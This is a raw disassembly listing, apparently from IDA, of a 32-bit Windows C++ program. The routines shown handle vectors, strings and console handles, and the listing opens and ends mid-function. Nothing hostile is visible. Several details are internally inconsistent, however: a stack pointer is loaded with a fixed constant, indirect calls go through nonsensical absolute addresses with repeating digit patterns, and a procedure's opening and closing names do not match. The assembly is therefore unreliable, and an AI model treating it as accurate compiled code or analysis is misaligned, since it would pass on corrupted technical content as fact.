sub_401415 mov ecx, [eax] add ecx, 1FFh call sub_401726 push eax push 0FFFE2h mov esp, 88FFFEh call sub_401528 lea ecx, [esp-30h+arg_1CC] call sub_401726 sub esp, 18h mov ecx, esp mov [esp-18h+arg_38], esp push eax call sub_4017A8 lea ecx, [esp-18h+arg_274] mov byte ptr [esp-18h+arg_384], 51h call sub_401726 sub esp, 18h mov ecx, esp mov [esp+arg_88], esp push eax call sub_4017A8 lea ecx, [esp+arg_2A4] mov byte ptr [esp+arg_384], 52h call sub_401726 sub esp, 18h mov ecx, esp mov [esp+18h+arg_8C], esp push eax call sub_4017A8 lea ecx, [esp+18h+arg_25C] mov byte ptr [esp+18h+arg_384], 53h call sub_401726 sub esp, 18h mov ecx, esp mov [esp+30h+arg_90], esp push eax call sub_4017A8 mov edi, 4E63FFh mov byte ptr [esp+30h+arg_384], 50h call sub_40132F lea ecx, [esp-30h+arg_244] mov byte ptr [esp-30h+arg_384], 4Fh call sub_4011F9 lea ecx, [esp-30h+arg_1FC] mov byte ptr [esp-30h+arg_384], bl call sub_4011F9 lea ecx, [esp-30h+arg_70] mov byte ptr [esp-30h+arg_384], 1Dh call sub_4011F9 lea ecx, [esp-30h+arg_58] mov byte ptr [esp-30h+arg_384], 1Ch call sub_4011F9 lea ecx, [esp-30h+arg_10C] mov byte ptr [esp-30h+arg_384], 1Bh call sub_4011F9 lea ecx, [esp-30h+arg_2BC] mov byte ptr [esp-30h+arg_384], 1Ah call sub_4011F9 lea ecx, [esp-30h+arg_2EC] mov byte ptr [esp-30h+arg_384], 19h call sub_4011F9 lea ecx, [esp-30h+arg_28C] mov byte ptr [esp-30h+arg_384], 18h call sub_4011F9 lea ecx, [esp-30h+arg_2D4] mov byte ptr [esp-30h+arg_384], 17h call sub_4011F9 lea ecx, [esp-30h+arg_13C] mov byte ptr [esp-30h+arg_384], 16h call sub_4011F9 lea ecx, [esp-30h+arg_1E4] mov byte ptr [esp-30h+arg_384], 15h call sub_4011F9 lea ecx, [esp-30h+arg_16C] mov byte ptr [esp-30h+arg_384], 14h call sub_4011F9 lea ecx, [esp-30h+arg_214] mov byte ptr [esp-30h+arg_384], 13h call sub_4011F9 lea ecx, [esp-30h+arg_19C] mov byte ptr [esp-30h+arg_384], 12h call sub_4011F9 lea ecx, [esp-30h+arg_DC] mov byte ptr [esp-30h+arg_384], 11h call sub_4011F9 lea ecx, [esp-30h+arg_1CC] mov byte ptr [esp-30h+arg_384], 10h call sub_4011F9 lea ecx, [esp-30h+arg_274] mov byte ptr [esp-30h+arg_384], 0Fh call sub_4011F9 lea ecx, [esp-30h+arg_2A4] mov byte ptr [esp-30h+arg_384], 0Eh call sub_4011F9 lea ecx, [esp-30h+arg_25C] mov byte ptr [esp-30h+arg_384], 0Dh call sub_4011F9 lea ecx, [esp-30h+arg_34C] mov byte ptr [esp-30h+arg_384], 0Ch call sub_4011F9 lea ecx, [esp-30h+arg_304] mov byte ptr [esp-30h+arg_384], 0Bh call sub_4011F9 mov byte ptr [esp-30h+arg_384], 0Ah lea ecx, [esp-30h+arg_31C] call sub_4011F9 lea ecx, [esp-30h+arg_334] mov byte ptr [esp-30h+arg_384], 9 call sub_4011F9 lea ecx, [esp-30h+arg_364] mov byte ptr [esp-30h+arg_384], 8 call sub_4011F9 lea ecx, [esp-30h+arg_94] mov byte ptr [esp-30h+arg_384], 7 call sub_4011F9 lea ecx, [esp-30h+arg_22C] mov byte ptr [esp-30h+arg_384], 6 call sub_4011F9 lea ecx, [esp-30h+arg_F4] mov byte ptr [esp-30h+arg_384], 5 call sub_4011F9 lea ecx, [esp-30h+arg_C4] mov byte ptr [esp-30h+arg_384], 4 call sub_4011F9 lea ecx, [esp-30h+arg_AC] mov byte ptr [esp-30h+arg_384], 3 call sub_4011F9 lea ecx, [esp-30h+arg_124] mov byte ptr [esp-30h+arg_384], 2 call sub_4011F9 lea ecx, [esp-30h+arg_154] mov byte ptr [esp-30h+arg_384], 1 call sub_4011F9 lea ecx, [esp-30h+arg_184] mov byte ptr [esp-30h+arg_384], 0 call sub_4011F9 lea ecx, [esp-30h+arg_1B4] mov [esp-30h+arg_384], 0FFFFFFFFh call sub_4011F9 mov ecx, [esp-30h+arg_37C] pop edi pop esi mov large fs:0, ecx pop ebx add esp, 350h retn sub_407E8F endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5 dup(90h) db 580h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_408FB0 proc near ; CODE XREF: sub_401415j arg_0 = dword ptr 4 push esi push edi mov esi, ecx call sub_40189D mov edi, [esp+8+arg_0] cmp eax, edi ja short loc_408FC8 mov ecx, esi call sub_401834 loc_408FC8: ; CODE XREF: sub_408FB0+Fj mov ecx, esi call sub_401951 lea eax, [eax+edi*4] pop edi pop esi retn 4 sub_408FB0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_408FF0 proc near ; CODE XREF: sub_40197Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401258 push eax mov ecx, esi call sub_4015FF pop esi retn 4 sub_408FF0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409020 proc near ; CODE XREF: sub_401951j mov eax, [ecx+4] retn sub_409020 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409040 proc near ; CODE XREF: sub_401258j mov eax, [ecx+8] retn sub_409040 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409060 proc near ; CODE XREF: sub_40189Dj mov edx, [ecx+4] test edx, edx jnz short loc_40906A xor eax, eax retn ; --------------------------------------------------------------------------- loc_40906A: ; CODE XREF: sub_409060+5j mov eax, [ecx+8] sub eax, edx sar eax, 2 retn sub_409060 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409090 proc near ; CODE XREF: sub_4015FFj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, ecx call sub_401951 mov edx, [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] push edx mov esi, eax push 1 sub esi, ecx push eax mov ecx, edi sar esi, 2 call sub_401AA5 mov ecx, edi call sub_401951 lea eax, [eax+esi*4] pop edi pop esi retn 8 sub_409090 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4090E0: ; CODE XREF: sub_401834j push 0FFFFFFFFh push 2731FFh mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [esp+3] lea ecx, [esp+4] push eax push 5398FFh call dword ptr ds:69CC7Fh lea ecx, [esp+4] mov dword ptr [esp+38h], 0 push ecx lea ecx, [esp+18h] call dword ptr ds:34E63Fh lea edx, [esp+14h] push 1A731Fh push edx call sub_430382 nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409160 proc near ; CODE XREF: sub_401AA5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi mov esi, ecx push edi mov edi, [esp+10h+arg_4] mov eax, [esi+8] mov ecx, [esi+0Ch] sub ecx, eax sar ecx, 2 cmp ecx, edi jnb loc_40922B mov ecx, esi call sub_40189D cmp edi, eax jnb short loc_409193 mov ecx, esi call sub_40189D mov ebp, eax jmp short loc_409195 ; --------------------------------------------------------------------------- loc_409193: ; CODE XREF: sub_409160+26j mov ebp, edi loc_409195: ; CODE XREF: sub_409160+31j mov ecx, esi call sub_40189D mov ebx, eax push 0 add ebx, ebp mov ecx, esi push ebx call sub_401B8B mov edx, [esp+10h+arg_0] mov ebp, eax mov eax, [esi+4] push ebp push edx push eax mov ecx, esi call sub_401645 mov ecx, [esp+10h+arg_8] mov [esp+10h+arg_4], eax push ecx push edi push eax mov ecx, esi call sub_401154 mov edx, [esp+10h+arg_4] mov ecx, [esi+8] lea eax, [edx+edi*4] mov edx, [esp+10h+arg_0] push eax push ecx push edx mov ecx, esi call sub_401645 mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_401677 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_40125D lea eax, [ebp+ebx*4+0] mov ecx, esi mov [esi+0Ch], eax call sub_40189D add eax, edi mov [esi+4], ebp pop edi lea ecx, [ebp+eax*4+0] mov [esi+8], ecx pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40922B: ; CODE XREF: sub_409160+17j mov ebx, [esp+10h+arg_0] mov edx, eax sub edx, ebx sar edx, 2 cmp edx, edi jnb short loc_409289 lea ebp, ds:0[edi*4] lea ecx, [ebx+ebp] push ecx push eax push ebx mov ecx, esi call sub_401645 mov eax, [esi+8] mov edx, [esp+10h+arg_8] mov ecx, eax push edx sub ecx, ebx sar ecx, 2 sub edi, ecx mov ecx, esi push edi push eax call sub_401154 mov edx, [esp+10h+arg_8] mov eax, [esi+8] push edx push eax push ebx call sub_401E42 mov eax, [esi+8] add esp, 0Ch add eax, ebp mov [esi+8], eax pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_409289: ; CODE XREF: sub_409160+D8j test edi, edi jbe short loc_4092C3 shl edi, 2 push eax push eax sub eax, edi mov ecx, esi push eax call sub_401645 mov eax, [esi+8] push eax sub eax, edi push eax push ebx call sub_401BA9 mov ecx, [esp+1Ch+arg_8] lea edx, [edi+ebx] push ecx push edx push ebx call sub_401E42 mov eax, [esi+8] add esp, 18h add eax, edi mov [esi+8], eax loc_4092C3: ; CODE XREF: sub_409160+12Bj pop edi pop esi pop ebp pop ebx retn 0Ch sub_409160 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409330 proc near ; CODE XREF: sub_401677j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi cmp esi, ebx mov edi, ecx jz short loc_409350 loc_409341: ; CODE XREF: sub_409330+1Ej push esi mov ecx, edi call sub_401F00 add esi, 4 cmp esi, ebx jnz short loc_409341 loc_409350: ; CODE XREF: sub_409330+Fj pop edi pop esi pop ebx retn 8 sub_409330 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409370 proc near ; CODE XREF: sub_40125Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_430332 pop ecx retn 8 sub_409370 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409390 proc near ; CODE XREF: sub_401F00j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_2 pop ecx retn 4 sub_409390 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4093B0 proc near ; CODE XREF: sub_401645j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_4] push esi mov esi, [esp+0Ch+arg_0] mov ebx, ecx cmp esi, ebp jz short loc_4093E2 push edi mov edi, [esp+10h+arg_8] loc_4093C6: ; CODE XREF: sub_4093B0+27j push esi push edi mov ecx, ebx call sub_40153C add esi, 4 add edi, 4 cmp esi, ebp jnz short loc_4093C6 mov eax, edi pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_4093E2: ; CODE XREF: sub_4093B0+Fj mov eax, [esp+0Ch+arg_8] pop esi pop ebp pop ebx retn 0Ch sub_4093B0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409400 proc near ; CODE XREF: sub_401154j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp push edi mov edi, [esp+8+arg_4] mov ebp, ecx test edi, edi jbe short loc_409427 push ebx mov ebx, [esp+0Ch+arg_8] push esi mov esi, [esp+10h+arg_0] loc_409416: ; CODE XREF: sub_409400+23j push ebx push esi mov ecx, ebp call sub_40153C add esi, 4 dec edi jnz short loc_409416 pop esi pop ebx loc_409427: ; CODE XREF: sub_409400+Aj pop edi pop ebp retn 0Ch sub_409400 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409440 proc near ; CODE XREF: sub_401B8Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401ED3 add esp, 8 retn 8 sub_409440 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409470 proc near ; CODE XREF: sub_40153Cj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401127 add esp, 8 retn 8 sub_409470 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4094A0 proc near ; CODE XREF: sub_401E42j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jz short locret_4094BD mov edx, [esp+arg_8] push esi loc_4094B1: ; CODE XREF: sub_4094A0+1Aj mov esi, [edx] mov [eax], esi add eax, 4 cmp eax, ecx jnz short loc_4094B1 pop esi locret_4094BD: ; CODE XREF: sub_4094A0+Aj retn sub_4094A0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4094D0 proc near ; CODE XREF: sub_401BA9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] mov ecx, [esp+arg_4] cmp edx, ecx jz short loc_4094F2 mov eax, [esp+arg_8] push esi loc_4094E1: ; CODE XREF: sub_4094D0+1Ej mov esi, [ecx-4] sub ecx, 4 sub eax, 4 cmp ecx, edx mov [eax], esi jnz short loc_4094E1 pop esi retn ; --------------------------------------------------------------------------- loc_4094F2: ; CODE XREF: sub_4094D0+Aj mov eax, [esp+arg_8] retn sub_4094D0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409530 proc near ; CODE XREF: sub_401ED3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_40953A xor eax, eax loc_40953A: ; CODE XREF: sub_409530+6j shl eax, 2 push eax call sub_43034A add esp, 4 retn sub_409530 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409560 proc near ; CODE XREF: sub_401127j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011A4 add esp, 8 test eax, eax jz short locret_40957B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40957B: ; CODE XREF: sub_409560+11j retn sub_409560 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409590 proc near ; CODE XREF: sub_4018A2j arg_0 = dword ptr 4 mov al, ds:byte_43FFF2 push esi test al, al mov esi, ecx jz short loc_4095C6 push edi call dword ptr ds:0D398Fh mov edi, ds:dword_4B38F0 push 0FFFFFFF5h call edi push 0FFFFFFF4h mov [esi], eax call edi mov [esi+4], eax mov eax, [esp+8+arg_0] mov byte ptr [esi+8], 1 mov [esi+9], eax pop edi pop esi retn 4 ; --------------------------------------------------------------------------- loc_4095C6: ; CODE XREF: sub_409590+Aj mov ecx, [esp+4+arg_0] mov byte ptr [esi+8], 1 mov [esi+9], ecx pop esi retn 4 sub_409590 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409600 proc near ; CODE XREF: sub_401BB8j mov al, ds:byte_43FFF2 push esi test al, al mov esi, ecx jz short loc_40961F call ds:dword_469CC7 mov dword ptr [esi], 0FFFFFFFFh mov dword ptr [esi+4], 0FFFFFFFFh loc_40961F: ; CODE XREF: sub_409600+Aj mov byte ptr [esi+8], 0 pop esi retn sub_409600 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409640 proc near ; CODE XREF: sub_4013CFj mov eax, ecx xor ecx, ecx mov dword ptr [eax], offset off_437010 mov [eax+9], ecx mov [eax+11h], ecx mov [eax+4], cl mov [eax+0Dh], ecx retn sub_409640 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_409670: ; CODE XREF: _294ADE7B:00401EF6j ; _294ADE7B:loc_401FE1j push esi mov esi, ecx call sub_4011F9 test byte ptr [esp+8], 1 jz short loc_409688 push esi call sub_430332 add esp, 4 loc_409688: ; CODE XREF: _294ADE7B:0040967Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4096A0 proc near ; CODE XREF: sub_4017A8j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx push esi mov esi, ecx xor ebx, ebx push eax mov dword ptr [esi], offset off_437010 mov [esi+9], ebx mov [esi+11h], ebx call sub_401564 mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx retn 4 sub_4096A0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4096E0 proc near ; CODE XREF: sub_40146Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx push esi mov esi, ecx xor ebx, ebx push eax mov dword ptr [esi], offset off_437010 mov [esi+9], ebx mov [esi+11h], ebx call sub_401E65 mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx retn 4 sub_4096E0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409720 proc near ; CODE XREF: sub_401F73j var_10 = byte ptr -10h arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub esp, 10h push ebx push esi mov esi, ecx push eax lea ecx, [esp+1Ch+var_10] push 634E63h push ecx mov dword ptr [esi], offset off_437010 call dword ptr ds:31A731h add esp, 0Ch lea edx, [esp+18h+var_10] xor ebx, ebx mov ecx, esi push edx mov [esi+9], ebx mov [esi+11h], ebx call sub_401564 mov [esi+4], bl mov [esi+0Dh], ebx mov eax, esi pop esi pop ebx add esp, 10h retn 4 sub_409720 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409790 proc near ; CODE XREF: sub_4011F9j push esi mov esi, ecx push edi xor edi, edi mov eax, [esi+9] mov dword ptr [esi], offset off_437010 cmp eax, edi jz short loc_4097AC push eax call sub_430332 add esp, 4 loc_4097AC: ; CODE XREF: sub_409790+11j mov eax, [esi+0Dh] mov [esi+9], edi cmp eax, edi jz short loc_4097BF push eax call sub_430332 add esp, 4 loc_4097BF: ; CODE XREF: sub_409790+24j mov [esi+0Dh], edi mov [esi+11h], edi pop edi pop esi retn sub_409790 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4097E0 proc near ; CODE XREF: sub_401564j arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] mov esi, ecx test edi, edi jz short loc_40984A or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [esi+9] not ecx dec ecx test eax, eax mov ebp, ecx jz short loc_40980A push eax call sub_430332 add esp, 4 loc_40980A: ; CODE XREF: sub_4097E0+1Fj lea ebx, [ebp+2] push ebx call sub_43034A mov edi, eax add esp, 4 test edi, edi mov [esi+9], edi jz short loc_40984A mov ecx, ebx xor eax, eax mov edx, ecx mov [esi+11h], ebp shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb mov eax, [esi+11h] mov ecx, [esp+10h+arg_0] mov edx, [esi+9] push eax push ecx push edx call dword ptr ds:18D398h add esp, 0Ch loc_40984A: ; CODE XREF: sub_4097E0+Cj ; sub_4097E0+3Dj pop edi pop esi pop ebp pop ebx retn 4 sub_4097E0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409880 proc near ; CODE XREF: sub_401E65j arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401339 push eax mov ecx, esi call sub_401564 pop esi retn 4 sub_409880 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4098B0: ; CODE XREF: _294ADE7B:00401965j mov eax, [esp+4] sub esp, 10h push esi mov esi, ecx push eax lea ecx, [esp+8] push 4C69CCh push ecx call dword ptr ds:2634E6h add esp, 0Ch lea edx, [esp+4] mov ecx, esi push edx call sub_401564 pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409900 proc near ; CODE XREF: sub_4019BAj arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] mov ebx, ecx test edi, edi jz loc_409992 or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [ebx+11h] not ecx dec ecx mov esi, ecx add esi, edi lea eax, [esi+1] push eax call sub_43034A mov edi, [ebx+9] add esp, 4 test edi, edi mov ebp, eax jz short loc_409992 or ecx, 0FFFFFFFFh xor eax, eax mov [ebx+11h], esi repne scasb not ecx sub edi, ecx mov edx, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov edi, [esp+10h+arg_0] or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx mov esi, edi mov edx, ecx mov edi, ebp or ecx, 0FFFFFFFFh repne scasb mov ecx, edx dec edi shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov eax, [ebx+9] test eax, eax jz short loc_40998F push eax call sub_430332 add esp, 4 loc_40998F: ; CODE XREF: sub_409900+84j mov [ebx+9], ebp loc_409992: ; CODE XREF: sub_409900+Cj ; sub_409900+36j pop edi pop esi pop ebp pop ebx retn 4 sub_409900 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4099D0 proc near ; CODE XREF: sub_40162Cj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401339 push eax mov ecx, esi call sub_4019BA pop esi retn 4 sub_4099D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409A00 proc near ; CODE XREF: sub_401122j var_10 = byte ptr -10h arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub esp, 10h push esi mov esi, ecx push eax lea ecx, [esp+18h+var_10] push 531A73h push ecx call dword ptr ds:698D39h add esp, 0Ch lea edx, [esp+14h+var_10] mov ecx, esi push edx call sub_4019BA pop esi add esp, 10h retn 4 sub_409A00 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409A50 proc near ; CODE XREF: sub_4012B7j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_409A67 mov edx, [ecx+9] xor eax, eax test edx, edx setnz al pop esi retn 4 ; --------------------------------------------------------------------------- loc_409A67: ; CODE XREF: sub_409A50+7j mov eax, [ecx+9] push ebx loc_409A6B: ; CODE XREF: sub_409A50+3Dj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_409A96 test cl, cl jz short loc_409A8F mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_409A96 add eax, 2 add esi, 2 test cl, cl jnz short loc_409A6B loc_409A8F: ; CODE XREF: sub_409A50+27j pop ebx xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_409A96: ; CODE XREF: sub_409A50+23j ; sub_409A50+33j sbb eax, eax pop ebx sbb eax, 0FFFFFFFFh pop esi retn 4 sub_409A50 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409AC0 proc near ; CODE XREF: sub_401A7Dj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401339 push eax mov ecx, esi call sub_4012B7 pop esi retn 4 sub_409AC0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_409AF0: ; CODE XREF: _294ADE7B:0040149Cj mov eax, [esp+4] test eax, eax jnz short loc_409B03 mov edx, [ecx+9] test edx, edx setnz al retn 4 ; --------------------------------------------------------------------------- loc_409B03: ; CODE XREF: _294ADE7B:00409AF6j push eax mov eax, [ecx+9] push eax call dword ptr ds:34C69Ch add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409B30 proc near ; CODE XREF: sub_40201Dj arg_0 = dword ptr 4 push esi mov esi, ecx mov ecx, [esp+4+arg_0] call sub_401339 push eax mov ecx, esi call sub_4012B7 pop esi retn 4 sub_409B30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409B60 proc near ; CODE XREF: sub_401B9Aj push esi mov esi, ecx mov eax, [esi+9] test eax, eax jz short loc_409B73 push eax call sub_430332 add esp, 4 loc_409B73: ; CODE XREF: sub_409B60+8j mov dword ptr [esi+9], 0 pop esi retn sub_409B60 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409B90 proc near ; CODE XREF: sub_40102Dj arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = byte ptr 200Ch mov ecx, 0A5A634h call sub_430390 mov eax, [esp+arg_2004] test eax, eax jz short loc_409BD2 lea ecx, [esp+arg_2008] lea edx, [esp+0] push ecx push eax push 52D31Ah push edx call dword ptr ds:69698Dh mov ecx, [esp+10h+arg_2000] add esp, 10h lea eax, [esp+0] push eax call sub_401564 loc_409BD2: ; CODE XREF: sub_409B90+13j add esp, 2000h retn sub_409B90 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409C00 proc near ; CODE XREF: sub_401BFEj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_4012D5 retn 4 sub_409C00 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409C20 proc near ; CODE XREF: sub_4012D5j arg_0 = byte ptr 4 push ebx mov ebx, ds:dword_4B3AC4 push esi push edi movsx edi, [esp+0Ch+arg_0] mov esi, ecx push edi mov eax, [esi+9] push eax call ebx add esp, 8 test eax, eax jnz short loc_409C44 pop edi pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_409C44: ; CODE XREF: sub_409C20+1Cj mov ecx, [esi+9] push edi push ecx call ebx mov edi, [esi+9] add esp, 8 mov eax, 8B4B4Ch sub edx, edi pop edi pop esi add eax, edx pop ebx retn 8 sub_409C20 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409C70 proc near ; CODE XREF: sub_4017D5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_40174E retn 4 sub_409C70 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409C90 proc near ; CODE XREF: sub_40174Ej arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] call sub_401339 push eax mov ecx, esi call sub_401F91 pop esi retn 8 sub_409C90 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409CC0 proc near ; CODE XREF: sub_40138Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401F91 retn 4 sub_409CC0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_409CE0 proc near ; CODE XREF: sub_401F91j arg_0 = dword ptr 4 push ebx push esi push edi mov edi, [esp+0Ch+arg_0] test edi, edi mov esi, ecx jnz short loc_409CF5 pop edi pop esi xor eax, eax pop ebx retn 8 ; --------------------------------------------------------------------------- loc_409CF5: ; CODE XREF: sub_409CE0+Bj mov eax, [esi+9] mov ebx, ds:dword_4B3ADC push edi push eax call ebx add esp, 8 test eax, eax 